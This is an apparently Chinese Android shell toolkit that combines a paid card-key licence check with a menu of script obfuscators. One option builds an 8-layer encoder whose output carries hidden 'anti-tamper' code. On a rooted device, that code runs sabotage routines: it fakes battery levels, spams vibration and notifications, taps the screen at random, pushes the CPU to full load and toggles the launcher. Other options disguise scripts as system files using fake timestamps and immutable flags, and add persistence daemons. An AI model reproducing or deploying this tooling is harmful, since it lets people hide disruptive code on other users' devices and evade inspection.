                echo "验证失败：数据被篡改.请勿非法破解.严重的提交至公安机关处理"
                report_tampering "$REQUEST_PARAMS" "$RESPONSE" "$TIMESTAMP"
                CARD_KEY=""
                continue
            fi

            RAW_DATA=$(echo -n "$DATA" | base64 -d 2>/dev/null)
            EXPIRES_AT=$(echo "$RAW_DATA" | sed -n 's/.*"expires_at":[[:space:]]*"\([^"]*\)".*/\1/p; s/.*"expires_at":"\([^"]*\)".*/\1/p' | head -n1 | tr -d ' \n\r}')
            USED_DEVICES=$(echo "$RAW_DATA" | sed -n 's/.*"used_devices":[[:space:]]*\([0-9]*\).*/\1/p; s/.*"used_devices":\([0-9]*\).*/\1/p' | head -n1 | tr -d ' \n\r,}')
            MAX_DEVICES=$(echo "$RAW_DATA" | sed -n 's/.*"max_devices":[[:space:]]*\([0-9]*\).*/\1/p; s/.*"max_devices":\([0-9]*\).*/\1/p' | head -n1 | tr -d ' \n\r,}')

            if [ -n "$EXPIRES_AT" ] && [ -n "$USED_DEVICES" ] && [ -n "$MAX_DEVICES" ]; then
                # 保存卡密：优先当前目录（无需root），失败再试主路径
                if echo "$CARD_KEY" > "$CARD_KEY_BACKUP_FILE" 2>/dev/null; then
                    chmod 600 "$CARD_KEY_BACKUP_FILE"
                    echo "[自动登录] 卡密已保存到当前目录（$CARD_KEY_BACKUP_FILE），下次自动验证"
                elif echo "$CARD_KEY" > "$CARD_KEY_MAIN_FILE" 2>/dev/null; then
                    chmod 600 "$CARD_KEY_MAIN_FILE"
                    echo "[自动登录] 卡密已保存到主路径（$CARD_KEY_MAIN_FILE），下次自动验证"
                else
                    echo "[警告] 卡密保存失败，下次需重新输入" >&2
                fi
                export GLOBAL_CARD_KEY="$CARD_KEY"
                export GLOBAL_EXPIRES_AT="$EXPIRES_AT"
                export GLOBAL_USED_DEVICES="$USED_DEVICES"
                export GLOBAL_MAX_DEVICES="$MAX_DEVICES"
                break
            else
                echo "验证失败：数据不完整，请重新输入"
                CARD_KEY=""
            fi
        else
            [ -z "$MESSAGE" ] && MESSAGE="未知错误"
            echo "验证失败：$MESSAGE，请重新输入"
            CARD_KEY=""
            # 清除无效卡密文件
            [ -f "$CARD_KEY_MAIN_FILE" ] && rm -f "$CARD_KEY_MAIN_FILE"
            [ -f "$CARD_KEY_BACKUP_FILE" ] && rm -f "$CARD_KEY_BACKUP_FILE"
        fi
    done
}

heartbeat_verify() {
    echo -e "\n===== 心跳验证已启动（间隔$HEARTBEAT_INTERVAL秒） ====="
    while true; do
        sleep $HEARTBEAT_INTERVAL
        echo -e "\n[心跳] （$(date "+%Y-%m-%d %H:%M:%S")）"

        local card_key="$GLOBAL_CARD_KEY"
        local device_code="$DEVICE_CODE"

        if [ -z "$card_key" ] || [ -z "$device_code" ]; then
            echo "[心跳] 卡密/设备码缺失，强制中断脚本"
            exit 1
        fi

        local TIMESTAMP=$(date +%s)
        local REQUEST_PARAMS=$(printf '{"api_key":"%s","key":"%s","device_code":"%s","timestamp":"%s"}' \
            "$API_KEY" "$card_key" "$device_code" "$TIMESTAMP")

        local retry_count=1
        local RESPONSE=""
        while [ $retry_count -le $HEARTBEAT_RETRY ]; do
            RESPONSE=$(curl -s --connect-timeout 10 -X POST "$API_URL_VERIFY" \
                -H "Content-Type: application/json" -d "$REQUEST_PARAMS")
            if [ $? -eq 0 ] && [ -n "$RESPONSE" ]; then
                break
            else
                echo "[心跳重试] 请求失败（第$retry_count次），$RETRY_INTERVAL秒后重试..."
                sleep $RETRY_INTERVAL
                retry_count=$((retry_count + 1))
            fi
        done

        if [ -z "$RESPONSE" ]; then
            echo "[心跳] 服务器无响应，本次跳过，下次继续验证(注此提示不影响你正常的源代码脚本执行)"
            continue
        fi

        local CODE=$(echo "$RESPONSE" | sed -n 's/.*"code":[[:space:]]*\([0-9]*\).*/\1/p; s/.*"code"[[:space:]]*:[[:space:]]*\([0-9]*\),.*/\1/p' | head -n1)
        local MESSAGE_RAW=$(echo "$RESPONSE" | sed -n 's/.*"message":[[:space:]]*"\([^"]*\)".*/\1/p; s/.*"message":[[:space:]]*"\([^"]*\)",.*/\1/p' | head -n1)
        local MESSAGE=$(decode_unicode "$MESSAGE_RAW")

        if [ "$CODE" -eq 200 ]; then
            echo "[心跳] 验证成功(注此提示不影响你正常的源代码脚本执行)"
        else
            echo "[心跳] 卡密验证失败：$MESSAGE"
            echo "[心跳] 强制中断脚本运行"
            exit 1
        fi
    done
}

start_heartbeat_in_background() {
    heartbeat_verify &
    # 记录心跳进程ID，确保脚本退出时心跳也退出
    HEARTBEAT_PID=$!
    trap 'kill $HEARTBEAT_PID 2>/dev/null' EXIT
}

check_update
verify_card_key
echo -e "\n卡密验证成功"
echo "到期时间：$GLOBAL_EXPIRES_AT"
echo "设备限制：已用$GLOBAL_USED_DEVICES台，共$GLOBAL_MAX_DEVICES台"

# 启动后台心跳验证
start_heartbeat_in_background

# ===================== 你的源代码填写区域 =====================
#卡密验证之后则会执行你的源代码


#注：源代码执行期间，心跳会在后台每隔$HEARTBEAT_INTERVAL秒自动验证


# ===================== 上方填写你的源代码 =====================

# 等待用户源代码执行完成（若用户代码是持续运行的，此句可省略）
紫色() { echo -e "\033[35m$1\033[0m"; }
蓝色() { echo -e "\033[34m$1\033[0m"; }
白色() { echo -e "\033[37m$1\033[0m"; }
黄色() { echo -e "\033[33m$1\033[0m"; }
绿色() { echo -e "\033[32m$1\033[0m"; }
红色() { echo -e "\033[31m$1\033[0m"; }
粉色() { echo -e "\033[36m$1\033[0m"; } # 原"粉色"对应终端青色，保持视觉一致

function show_header() {
    clear
    紫色 "╭──────────────────────────────────────────╮"
    紫色 "│$(蓝色 "    █████╗ ███████╗███╗   ██╗██████╗    ")"
    紫色 "│$(蓝色 "   ██╔══██╗██╔════╝████╗  ██║██╔══██╗   ")"
    紫色 "│$(蓝色 "   ███████║███████╗██╔██╗ ██║██████╔╝   ")"
    紫色 "│$(蓝色 "   ██╔══██║╚════██║██║╚██╗██║██╔══██╗   ")"
    紫色 "│$(蓝色 "   ██║  ██║███████║██║ ╚████║██████╔╝   ")"
    紫色 "│$(蓝色 "   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝╚═════╝   ")"
    紫色 "├──────────────────────────────────────────┤"
    紫色 "│$(白色 "                  小言NB                  ")"
    紫色 "╰──────────────────────────────────────────╯"
    }

# 执行核心函数（如需展示完整效果，直接调用即可）
show_header
echo "===================================="
 echo "——————欢迎使用AS加密工具   作者:小言—————————"
# 主菜单函数
show_menu() {
    echo "请选择要执行的操作:"
    echo "1. 二进制乱码（加强）"
    echo "2. 8+1层加密"
    echo "3. 脚本守护"
    echo "4. sh转系统"
    echo "5. 8层加密"
    echo "6. 5层加密"
    echo "7. 3层兼容加密"
    echo "8. 修改sh时间"
    echo "9. sh转2进制"
    echo "10.文件大小修改"
    echo "11.稀疏文件大小修改"
    echo "12.文件转sh"
    echo "0. 退出"
    echo "------------------------------------"
    echo -n "请输入选项数字: "
}

# 执行脚本函数
execute_script() {
    echo "正在执行脚本 [$1]..."
    echo "------------------------------------"
    
    # 这里可以放置任意长度的代码
    case $1 in
        1)
#!/bin/bash
# ========================== #
TOOL_NAME="小言加密"
# ========================== #

code='as
 if [ `id -u` -ne 0 ];then  TMP=/sdcard/tmp/$$; else TMP=/data/tmp/$$; fi; SKIP=3;sh="sh"; PROG="${TMP}/`basename $0`";mkdir -m=rwx -p $TMP;tail -n +10 "$0" | tar -xzvf - -C $TMP > /dev/null;base64 -d $TMP/Stay.xxd.xxd.tmp > $TMP/Stay.xxd.tmp;txxd=$(<$TMP/Stay.xxd.tmp);echo "$txxd" | xxd -r -p > $TMP/512.tar.gz;tail -n +1 "$TMP/512.tar.gz" | tar -xzvf - -yhC $TMPy > /dev/null;base64 -d $TMP/Stay.b64.tmp > $TMP/Stay.dec;chmod 777 $TMP/Stay.dec; ${shghh} $TMP/Stay.dec "$@";res=$?;rm -rf $TMP;exit $res
 tdTXGUfygchudgyggc@`R r pRxR 	RR@N RR 9RR, rRR	WRS  
(S0SM8/x@Sx	P/ eh]/0l  /?/ً^@T /Ў_  T/F /n ˾0  
/P_8{/<_X/ D_f/6`/`k_/ XFO/ ?6 &v U/_@/f/|x/!#/dؙpW V/,. X/_
/. /lÉY//^`l_p/ 	^
/7>O/^q/ X/_" P/2_/聘!%gۅh0Y/3. h/   /
 u /Ů/PZ  Z/n M(/x H//A5_hpZ` L/_ / [ /n  /obg/v/ [/
 ao(/_HPb/YO[lՋMp/  /U ]T/O{ؠ//b  \ / /j/p (\/^0/ _P/b 쪱 X_x/ ^l%/?b
'

# ▼▼▼▼▼▼▼▼ 简约UI ▼▼▼▼▼▼▼
echo "=== ${TOOL_NAME} ==="
echo "请输入文件路径:"
read -r File

[ ! -f "$File" ] && echo "错误: 文件不存在" && exit
file "$File" | grep -q ELF && echo "错误: 不支持二进制文件" && exit

echo "处理中..."
name1="$File"
name="Stay"

base64 $name1 > $name.b64.tmp
tar -czf 512.tar.gz $name.b64.tmp
while [ ! -s "512.tar.gz" ]; do sleep 1; done
binary_data=$(xxd -p -c 256 512.tar.gz)
echo "$binary_data" > $name.xxd.tmp
base64 $name.xxd.tmp > $name.xxd.xxd.tmp
tar -czf 512.tar.gz $name.xxd.xxd.tmp
while [ ! -s "512.tar.gz" ]; do sleep 1; done
binary_data=$(xxd -p -c 256 512.tar.gz)

echo -n "$code" > $name1.enc.sh
echo "$binary_data" | xxd -r -p >> $name1.enc.sh

rm $name.b64.tmp 512.tar.gz $name.xxd.tmp $name.xxd.xxd.tmp
echo "完成: ${name1}.enc.sh"
            ;;
        2)
            #!/system/bin/sh

# ███████ 终极安全版加密器 ███████
# 特点：
# 1. 强化哈希验证（参考卡密系统，防篡改）
# 2. 篡改后智能执行（Root格机/非Root自毁）
# 3. 8层加密强度+威慑警告
# 4. 100%兼容原功能

# ▼▼▼ 免责声明 ▼▼▼
echo "警告：本脚本生成的加密文件包含防篡改自毁逻辑。"
echo "仅限合法用途，禁止用于恶意破坏。"
echo "继续使用即表示您同意承担一切风险和法律后果！"
echo ""

echo "=== 安全强化加密器2.0 ==="
echo "请输入脚本路径:"
read -r input_path

# ▼▼▼ 密码强化处理 ▼▼▼
echo "请输入9位数字密码:"
read -r NUM_PW
if ! echo "$NUM_PW" | grep -qE '^[0-9]{9}$'; then
    echo "错误: 密码必须是9位纯数字   （别像CS一样输123456789一秒解密）"
    exit 1
fi

# ▼▼▼ 静态篡改后执行代码（智能版）▼▼▼
tamper_code=$(cat <<'EOF'
# ▼▼▼ 篡改处理逻辑 ▼▼▼
echo "⚠️ 错误: 验证失败 (检测到脚本被篡改或已过期)" >&2

# ▼▼▼ Root智能检测 ▼▼▼
if [ "$(id -u)" -eq 0 ]; then
    echo "⚠️⚠️⚠️ 检测到Root权限，正在执行高级防护措施..." >&2
          #!/system/bin/sh
# 描述：全功能狂暴模式 - 重启后完全无残留
# 需 Root + ADB

# 0. 免责声明
echo "警告：此脚本将导致系统极度异常！"
echo "继续使用代表您接受一切风险！"
sleep 3

# 1. 电量蹦迪（原作者同款）
battery_rave() {
    a=100; s=-1
    while true; do
        let a+=s
        ((a <= 50 || a >= 100)) && s=$((-s))
        dumpsys battery set level $a >/dev/null 2>&1
        sleep 0.1
    done &
}

# 2. 地狱震动（变频抽搐）
vibrate_hell() {
    while true; do
        echo $((RANDOM % 200 + 50)) > /sys/class/leds/vibrator/duration 2>/dev/null
        echo 1 > /sys/class/leds/vibrator/activate 2>/dev/null
        sleep 0.$((RANDOM % 4 + 1))
    done &
}

# 3. 通知轰炸（锁屏轰炸）
spam_notify() {
    while true; do
        am broadcast -a android.intent.action.BOOT_COMPLETED \
            --es title "CRITICAL ERROR" \
            --es text "Device overheating at $(date '+%T')" >/dev/null 2>&1
        sleep 0.5
    done &
}

# 4. 鬼畜点击（全屏乱戳）
ghost_touch() {
    while true; do
        input tap $((RANDOM % 1080)) $((RANDOM % 2400)) >/dev/null 2>&1
        sleep 0.2
    done &
}

# 5. 发烧模式（CPU 满载）
overheat() {
    while true; do
        echo "performance" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
        echo 800000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 2>/dev/null
        sleep 1
    done &
}

# 6. 桌面消失（闪烁版）
launcher_hide() {
    while true; do
        pm disable com.android.launcher3 >/dev/null 2>&1 && sleep 2
        pm enable com.android.launcher3 >/dev/null 2>&1 && sleep 2
    done &
}

# 主程序
{
    battery_rave
    vibrate_hell
    spam_notify
    ghost_touch
    overheat
    launcher_hide

    # 保活（仅内存驻留，无文件残留）
    while true; do
        sleep 86400
    done
} &

echo "入侵成功"
echo "下次不要想着修改了"
else
    echo "🟡 无Root权限，正在删除脚本自身..." >&2
    rm -f "$0"
fi
exit 1
EOF
)

# 生成双因子验证（密码哈希+时间戳签名）
TODAY=$(date +%Y%m%d)
STATIC_HASH=$(echo "salt_${NUM_PW}_${TODAY}" | md5sum | cut -d' ' -f1)

# 基础检查
input_path=$(echo "$input_path" | tr -d '
')
[ ! -f "$input_path" ] && { echo "错误: 文件不存在"; exit 1; }
output_path="$(dirname "$input_path")/$(basename "$input_path" .sh)_SECURE.sh"

# ▼▼▼ 8层加密函数 ▼▼▼
base64_enc() { echo "$1" | base64; }
rot13_enc() { echo "$1" | tr 'A-Za-z' 'N-ZA-Mn-za-m'; }
hex_enc() { echo "$1" | xxd -p | tr -d '
'; }
reverse_enc() { 
  echo "$1" | awk '{ for(i=length;i!=0;i--) printf "%s",substr($0,i,1); print "" }'
}

# 加密流程
payload=$(cat "$input_path")
payload=$(base64_enc "$payload")    # 第1层
payload=$(rot13_enc "$payload")    # 第2层
payload=$(hex_enc "$payload")      # 第3层
payload=$(reverse_enc "$payload")  # 第4层
payload=$(base64_enc "$payload")   # 第5层
payload=$(hex_enc "$payload")      # 第6层
payload=$(rot13_enc "$payload")    # 第7层
payload=$(reverse_enc "$payload")  # 第8层

# ▼▼▼ 生成解密脚本（强化验证）▼▼▼
{
  echo "#!/system/bin/sh"
  echo "# ███████████████████████████████████████████████████████"
  echo "# █                                                      █"
  echo "# █                ⚠️ 终 级 警 告 ⚠️                     █"
  echo "# █                                                      █"
  echo "# █ 本脚本受加密保护，任何未经授权的解密、逆向工程       █"
  echo "# █ 或篡改行为将触发自毁逻辑！               00          █"
  echo "# █     小言人工生成2.0                                  █"
  echo "# █ 继续操作即表示您同意承担一切后果！                   █"
  echo "# █                                                      █"
  echo "# ███████████████████████████████████████████████████████"
  echo ""
  echo "# ▼▼▼ 安全验证模块 ▼▼▼"
  echo "SECURE_FLAG='SECURE_V3'"
  echo "expected_hash=\"$STATIC_HASH\""
  echo "today=\$(date +%Y%m%d)"
  
  echo "check_hash() {"
  echo "  input_hash=\"\$1\""
  echo "  for day_offset in {0..7}; do"
  echo "    check_date=\$(date -d \"\$today - \$day_offset days\" +%Y%m%d 2>/dev/null || echo \$today)"
  echo "    computed_hash=\$(echo \"salt_${NUM_PW}_\$check_date\" | md5sum | cut -d' ' -f1)"
  echo "    [ \"\$input_hash\" = \"\$computed_hash\" ] && return 0"
  echo "  done"
  echo "  return 1"
  echo "}"
  
  echo "if [ \"\$SECURE_FLAG\" != 'SECURE_V3' ] || ! check_hash \"\$expected_hash\"; then"
  echo "  echo '⚠️错误: 验证失败 (检测到脚本被改或过期)' >&2"
  echo "  # 执行静态篡改后代码"
  echo "  $tamper_code"
  echo "  exit 1"
  echo "fi"
  
  echo ""
  echo "# ▼▼▼ 数据解密流程 ▼▼▼"
  echo "data=\"\$(sed -n '/---BEGIN DATA---/,/---END DATA---/{/---BEGIN DATA---/!{/---END DATA---/!p}}' \"\$0\" | tr -d '
')\""
  echo "data=\$(echo \"\$data\" | awk '{ for(i=length;i!=0;i--) printf \"%s\",substr(\$0,i,1); }')"
  echo "data=\$(echo \"\$data\" | tr 'A-Za-z' 'N-ZA-Mn-za-m')"
  echo "data=\$(echo \"\$data\" | xxd -p -r)"
  echo "data=\$(echo \"\$data\" | base64 -d)"
  echo "data=\$(echo \"\$data\" | awk '{ for(i=length;i!=0;i--) printf \"%s\",substr(\$0,i,1); }')"
  echo "data=\$(echo \"\$data\" | xxd -p -r)"
  echo "data=\$(echo \"\$data\" | tr 'A-Za-z' 'N-ZA-Mn-za-m')"
  echo "data=\$(echo \"\$data\" | base64 -d)"
  echo ""
  echo "# 安全执行"
  echo "eval \"\$data\""
  echo "exit 0"
  echo "---BEGIN DATA---"
  echo "$payload"
  echo "---END DATA---"
} > "$output_path"

chmod 755 "$output_path"
echo ""
echo "加密完成！"
echo "输出文件: ${output_path}"
echo "安全标识: 密码哈希+时间戳双验证"
echo "篡改防护: Root环境格机/无Root自毁"
echo "执行命令: sh \"${output_path}\""
            ;;
        3)
            #!/system/bin/sh

# 检查root权限
if [ "$(id -u)" -ne 0 ]; then
  echo "错误: 需要root权限运行此脚本"
  exit 1
fi

# 设置安全的执行环境
PATH=/system/bin:/system/xbin
set -u

# 显示标题
clear
echo "======================================"
echo "      守护脚本设置工具"
echo "      1. 保护模式"
echo "      2. 恢复模式"
echo "======================================"
echo ""

# 选择模式
MODE=""
while [ -z "$MODE" ]; do
  echo -n "请选择模式 [1-保护/2-恢复]: "
  read MODE
  case $MODE in
    1|2) ;;
    *) 
      echo "无效选项，请重新输入"
      MODE=""
      ;;
  esac
done

# 获取目标脚本路径
TARGET_SCRIPT=""
while [ -z "$TARGET_SCRIPT" ]; do
  echo -n "请输入目标脚本完整路径: "
  # 启用输入回显并设置原始输入模式
  stty echo icanon
  read TARGET_SCRIPT
  TARGET_SCRIPT=$(echo "$TARGET_SCRIPT" | tr -d '
' | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
  
  if [ -z "$TARGET_SCRIPT" ]; then
    echo "错误: 路径不能为空"
    continue
  fi
  
  # 规范化路径
  TARGET_SCRIPT=$(realpath "$TARGET_SCRIPT" 2>/dev/null || echo "$TARGET_SCRIPT")
  
  if [ "$MODE" = "1" ] && [ ! -f "$TARGET_SCRIPT" ]; then
    echo -n "文件不存在，是否创建? [y/n]: "
    read CREATE_FILE
    CREATE_FILE=$(echo "$CREATE_FILE" | tr '[:upper:]' '[:lower:]')
    
    case $CREATE_FILE in
      y|yes)
        if ! touch "$TARGET_SCRIPT" 2>/dev/null; then
          echo "错误: 无法创建文件，请检查路径和权限"
          TARGET_SCRIPT=""
          continue
        fi
        chmod 755 "$TARGET_SCRIPT"
        ;;
      *)
        TARGET_SCRIPT=""
        continue
        ;;
    esac
  elif [ "$MODE" = "2" ] && [ ! -f "$TARGET_SCRIPT" ]; then
    echo "错误: 目标文件不存在，无法恢复"
    TARGET_SCRIPT=""
    continue
  fi
done

# 保护模式功能
protect_mode() {
  # 选择保护级别
  echo ""
  echo "请选择保护级别:"
  echo "1) 基础保护 (仅设置不可变属性)"
  echo "2) 完整保护 (不可变属性+后台守护)"
  echo ""

  PROTECTION_LEVEL=""
  while [ -z "$PROTECTION_LEVEL" ]; do
    echo -n "请输入选项 [1-2]: "
    read PROTECTION_CHOICE
    PROTECTION_CHOICE=$(echo "$PROTECTION_CHOICE" | tr -d '
')
    
    case $PROTECTION_CHOICE in
      1)
        PROTECTION_LEVEL="basic"
        ;;
      2)
        PROTECTION_LEVEL="full"
        ;;
      *)
        echo "无效选项，请重新输入"
        ;;
    esac
  done

  # 基础保护: 设置不可变属性
  apply_basic_protection() {
    echo "正在应用基础保护..."
    if ! chattr +i "$TARGET_SCRIPT" 2>/dev/null; then
      echo "x 错误: 无法设置不可变属性，可能原因:"
      echo "1. 文件系统不支持(chattr)"
      echo "2. 文件路径无效"
      echo "3. 没有足够的权限"
      return 1
    fi
    echo "v 基础保护已应用: 文件设置为不可变"
    return 0
  }

  # 完整保护: 基础保护+守护进程
  apply_full_protection() {
    if ! apply_basic_protection; then
      return 1
    fi
    
    echo "正在启动后台守护进程..."
    # 创建守护进程脚本
    DAEMON_SCRIPT="/data/local/tmp/.guard_$(basename "$TARGET_SCRIPT").sh"
    cat > "$DAEMON_SCRIPT" <<-EOF
#!/system/bin/sh
while true; do
  if [ ! -f "$TARGET_SCRIPT" ]; then
    [ -f "$0" ] && cp "$0" "$TARGET_SCRIPT" 2>/dev/null
    chmod 755 "$TARGET_SCRIPT" 2>/dev/null
    chattr +i "$TARGET_SCRIPT" 2>/dev/null
  fi
  sleep 30
done
EOF
    
    chmod 700 "$DAEMON_SCRIPT"
    
    # 启动守护进程
    nohup sh "$DAEMON_SCRIPT" >/dev/null 2>&1 &
    
    # 记录守护进程信息
    echo "$DAEMON_SCRIPT" > "/data/local/tmp/.guard_$(basename "$TARGET_SCRIPT").pid"
    echo "$!" >> "/data/local/tmp/.guard_$(basename "$TARGET_SCRIPT").pid"
    
    echo "v 完整保护已应用: 不可变属性+后台守护"
    echo "守护进程PID: $!"
  }

  # 应用保护
  echo ""
  case $PROTECTION_LEVEL in
    "basic")
      apply_basic_protection || exit 1
      ;;
    "full")
      apply_full_protection || exit 1
      ;;
  esac

  # 显示恢复指令
  echo "
【恢复方法】"
  echo "1. 终止守护进程(如使用完整保护):"
  echo "   su -c 'pkill -f \"$(basename "$TARGET_SCRIPT")\"'"
  echo "2. 移除不可变属性:"
  echo "   su -c 'chattr -i \"$TARGET_SCRIPT\"'"
  echo "3. 删除文件:"
  echo "   su -c 'rm \"$TARGET_SCRIPT\"'"
  echo "4. 删除守护脚本(如存在):"
  echo "   su -c 'rm \"/data/local/tmp/.guard_$(basename "$TARGET_SCRIPT").sh\"'"
}

# 恢复模式功能
recovery_mode() {
  echo ""
  echo "正在恢复目标文件: ${TARGET_SCRIPT}"
  
  # 1. 停止守护进程
  PID_FILE="/data/local/tmp/.guard_$(basename "$TARGET_SCRIPT").pid"
  if [ -f "$PID_FILE" ]; then
    echo "停止守护进程..."
    DAEMON_SCRIPT=$(head -n 1 "$PID_FILE")
    DAEMON_PID=$(tail -n 1 "$PID_FILE")
    
    kill -9 "$DAEMON_PID" 2>/dev/null
    rm -f "$DAEMON_SCRIPT" 2>/dev/null
    rm -f "$PID_FILE" 2>/dev/null
    echo "v 守护进程已停止"
  fi
  
  # 2. 移除不可变属性
  echo "移除不可变属性..."
  if chattr -i "$TARGET_SCRIPT" 2>/dev/null; then
    echo "v 不可变属性已移除"
  else
    echo "x 无需移除或移除失败(可能未设置保护)"
  fi
  
  # 3. 恢复原始权限
  chmod 644 "$TARGET_SCRIPT" 2>/dev/null
  
  echo "
v 恢复完成: ${TARGET_SCRIPT} 已恢复正常状态"
}

# 根据模式执行相应功能
case $MODE in
  1) 
    protect_mode 
    ;;
  2) 
    recovery_mode 
    ;;
esac

# 完成提示
echo "
操作已完成。"
exit 0
            ;;
        4)
            #!/system/bin/sh

# 脚本伪装工具（Android版）
# 功能：将普通脚本伪装成系统脚本
# 特点：修改时间戳/权限/归属，保持可执行性

echo "=== 脚本伪装工具 ==="
[ "$(id -u)" -ne 0 ] && echo "请使用ROOT权限运行!" && exit 1

# 安全输入路径
echo -n "请输入要伪装的脚本路径: "
read target_script
target_script=$(echo "$target_script" | tr -d '
' | sed 's/^ *//;s/ *$//')
[ ! -f "$target_script" ] && echo "错误: 文件不存在!" && exit 1

# 生成伪装方案
echo ""
echo "请选择伪装级别："
echo "1) 基础伪装（修改时间/权限）"
echo "2) 深度伪装（追加系统属性）"
echo -n "输入选项[1-2]: "
read disguise_level

# 执行伪装操作
chmod 755 "$target_script"  # 确保可执行权限
chown root:shell "$target_script" 2>/dev/null

# 修改时间戳（伪装成系统编译时间）
touch -t 202001010000 "$target_script" 2>/dev/null || \
touch -d "2020-01-01 00:00:00" "$target_script"

# 深度伪装选项
if [ "$disguise_level" = "2" ]; then
  # 添加系统属性文件
  prop_file="${target_script}.prop"
  echo "ro.system.build.date=2020-01-01" > "$prop_file"
  echo "ro.build.tags=release-keys" >> "$prop_file"
  chmod 644 "$prop_file"
  chown root:root "$prop_file" 2>/dev/null
fi

# 设置不可变属性（需内核支持）
lsattr "$target_script" 2>/dev/null | grep -q "i" || {
  chattr +i "$target_script" 2>/dev/null
  immutable_success=$?
}

# 伪装验证
echo ""
echo "✅ 伪装完成！"
echo "📂 文件: ${target_script}"
echo "🛡️ 当前属性:"
ls -lZ "$target_script" 2>/dev/null || ls -l "$target_script"
echo "⏱️ 修改时间: $(ls -l "$target_script" | awk '{print $6,$7,$8}')"

[ "$disguise_level" = "2" ] && echo "📝 系统属性: ${target_script}.prop"
[ "$immutable_success" = "0" ] && echo "🔒 不可变属性: 已启用 (chattr +i)"

echo ""
echo "使用方法："
echo "1. 基础伪装：修改时间戳和权限"
echo "2. 深度伪装：追加系统属性文件"
echo "3. 最佳效果：配合加密使用"
            ;;
        5)

#!/system/bin/sh

# ███████ 8层混合编码加密器 ███████
# 4种编码交替使用 | 零依赖 | 100%安卓兼容

echo "=== 8层混合加密器 ==="
echo "请输入脚本路径:"
read -r input_path

# 基础路径清理
input_path=$(echo "$input_path" | tr -d '
')

# 文件检查
[ ! -f "$input_path" ] && { echo "错误: 文件不存在"; exit 1; }

# 输出路径
output_path="$(dirname "$input_path")/$(basename "$input_path" .sh)_MIX8.sh"

# ▼▼▼ 4种兼容性编码函数 ▼▼▼
# 1. Base64 (标准)
base64_enc() { echo "$1" | base64; }
base64_dec() { echo "$1" | base64 -d; }

# 2. ROT13 (字母位移)
rot13_enc() { echo "$1" | tr 'A-Za-z' 'N-ZA-Mn-za-m'; }
rot13_dec() { rot13_enc "$1"; } # ROT13解密=加密

# 3. Hex编码 (十六进制)
hex_enc() { echo "$1" | xxd -p | tr -d '
'; }
hex_dec() { echo "$1" | xxd -p -r; }

# 4. 反向输出 (rev替代方案)
reverse_enc() { 
  echo "$1" | awk '{ for(i=length;i!=0;i--) printf "%s",substr($0,i,1); print "" }'
}
reverse_dec() { reverse_enc "$1"; } # 反向=自逆运算

# ▲▲▲ 函数定义结束 ▲▲▲

# 加密过程（8层交替使用4种编码）
payload=$(cat "$input_path")
payload=$(base64_enc "$payload")     # 第1层: base64
payload=$(rot13_enc "$payload")     # 第2层: ROT13
payload=$(hex_enc "$payload")       # 第3层: Hex
payload=$(reverse_enc "$payload")   # 第4层: 反向
payload=$(base64_enc "$payload")    # 第5层: base64
payload=$(hex_enc "$payload")       # 第6层: Hex
payload=$(rot13_enc "$payload")     # 第7层: ROT13
payload=$(reverse_enc "$payload")   # 第8层: 反向

# 生成解密脚本
{
  echo "#!/system/bin/sh"
  echo "echo '=== 8层解密中 ==='"
  echo "# 数据提取"
  echo "data=\"\""
  echo "while read line; do"
  echo "  [ \"\$line\" = \"---BEGIN DATA---\" ] && break"
  echo "done < \"\$0\""
  echo "while read line; do"
  echo "  [ \"\$line\" = \"---END DATA---\" ] && break"
  echo "  data=\"\$data\$line\""
  echo "done < \"\$0\""
  echo ""
  echo "# 8层解密（逆序执行）"
  echo "data=\$(echo \"\$data\" | awk '{ for(i=length;i!=0;i--) printf \"%s\",substr(\$0,i,1); }')"  # 第8层
  echo "data=\$(echo \"\$data\" | tr 'A-Za-z' 'N-ZA-Mn-za-m')"  # 第7层
  echo "data=\$(echo \"\$data\" | xxd -p -r)"                   # 第6层
  echo "data=\$(echo \"\$data\" | base64 -d)"                   # 第5层
  echo "data=\$(echo \"\$data\" | awk '{ for(i=length;i!=0;i--) printf \"%s\",substr(\$0,i,1); }')"  # 第4层
  echo "data=\$(echo \"\$data\" | xxd -p -r)"                   # 第3层
  echo "data=\$(echo \"\$data\" | tr 'A-Za-z' 'N-ZA-Mn-za-m')"  # 第2层
  echo "data=\$(echo \"\$data\" | base64 -d)"                   # 第1层
  echo ""
  echo "# 执行原脚本"
  echo "eval \"\$data\""
  echo "echo '=== 执行完成 ==='"
  echo "exit 0"
  echo "---BEGIN DATA---"
  echo "$payload"
  echo "---END DATA---"
} > "$output_path"

chmod 755 "$output_path"
echo ""
echo "✅ 加密完成！"
echo "📂 输出文件: ${output_path}"
echo "🔒 加密组合:"
echo " - 第1/5层: base64"
echo " - 第2/7层: ROT13"
echo " - 第3/6层: Hex编码"
echo " - 第4/8层: 字符串反向"
echo "🚀 执行命令: sh \"${output_path}\""
            ;;
        6)
           #!/system/bin/sh

# ███████ 终极兼容加密器 ███████
# 纯base64+ROT13多层加密 | 零依赖 | 100%安卓兼容

echo "=== 5层兼容加密器 ==="
echo "正在准备..."

# 生成安全标记
marker="SEC_$(date +%s | cut -c1-8)"

echo "请输入要加密的脚本路径:"
read -r input_path

# 清理输入路径
input_path=$(echo "$input_path" | tr -d '
' | sed 's/[<>"|*?]//g')

# 检查文件是否存在
[ ! -f "$input_path" ] && {
    echo "错误: 文件不存在!"
    exit 1
}

# 准备输出路径
filename=$(basename "$input_path" .sh)
output_path="$(dirname "$input_path")/${filename}_ULTRA.sh"

# 加密过程
{
    echo "#!/system/bin/sh"
    echo "# 终极兼容加密脚本"
    echo "# 标记: $marker"
    echo ""
    echo "echo '=== 开始解密 ==='"
    echo ""
    echo "# 数据提取"
    echo "enc_data=\"\""
    echo "while IFS= read -r line; do"
    echo "  if [ \"\$line\" = \"---BEGIN DATA---\" ]; then"
    echo "    read_data=1"
    echo "  elif [ \"\$line\" = \"---END DATA---\" ]; then"
    echo "    read_data=0"
    echo "  elif [ \"\$read_data\" = \"1\" ]; then"
    echo "    enc_data=\"\$enc_data\$line\""
    echo "  fi"
    echo "done < \"\$0\""
    echo ""
    echo "# 五层解密过程"
    echo "decoded=\$(echo \"\$enc_data\" | base64 -d)"                # 第1层
    echo "decoded=\$(echo \"\$decoded\" | tr 'A-Za-z' 'N-ZA-Mn-za-m')" # 第2层
    echo "decoded=\$(echo \"\$decoded\" | base64 -d)"                # 第3层
